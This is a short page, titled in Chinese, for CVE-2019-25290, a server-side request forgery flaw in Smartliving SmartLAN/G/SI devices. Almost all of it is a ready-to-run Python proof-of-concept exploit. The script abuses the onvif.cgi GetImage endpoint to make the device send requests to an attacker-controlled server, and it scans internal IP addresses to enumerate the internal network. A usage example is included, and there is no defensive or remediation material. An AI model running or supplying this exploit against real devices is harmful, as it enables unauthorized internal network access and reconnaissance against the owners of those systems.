CVE-2019-25290 Smartliving SmartLAN/G/SI SSRF服务器端请求伪造漏洞

import requests # CVE-2019-25290 PoC - SSRF in Smartliving SmartLAN/G/SI # Target: Smartliving SmartLAN/G/SI <= 6.x # Endpoint: onvif.cgi def exploit_ssrf(target_url, attacker_server): """ Exploit SSRF vulnerability in GetImage functionality target_url: Target device URL (e.g., http://192.168.1.100) attacker_server: Attacker's controlled server to receive requests """ endpoint = f"{target_url}/onvif/cgi-bin/onvif.cgi" params = { 'Service': 'GetImage', 'host': attacker_server, # SSRF payload - arbitrary domain/IP 'port': '80', 'snap': 'true' } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Internal network enumeration example def enumerate_internal(target_url): """Enumerate internal network by making requests to internal IPs""" endpoint = f"{target_url}/onvif/cgi-bin/onvif.cgi" # Example: Check internal web servers internal_ips = ['192.168.1.1', '192.168.1.100', '10.0.0.1'] for ip in internal_ips: params = {'Service': 'GetImage', 'host': ip, 'port': '80', 'snap': 'true'} try: response = requests.get(endpoint, params=params, timeout=5) print(f"[*] Internal IP {ip}: {response.status_code}") except: pass if __name__ == "__main__": # Usage example target = "http://target-device-ip" attacker = "http://attacker-controlled-server.com" exploit_ssrf(target, attacker)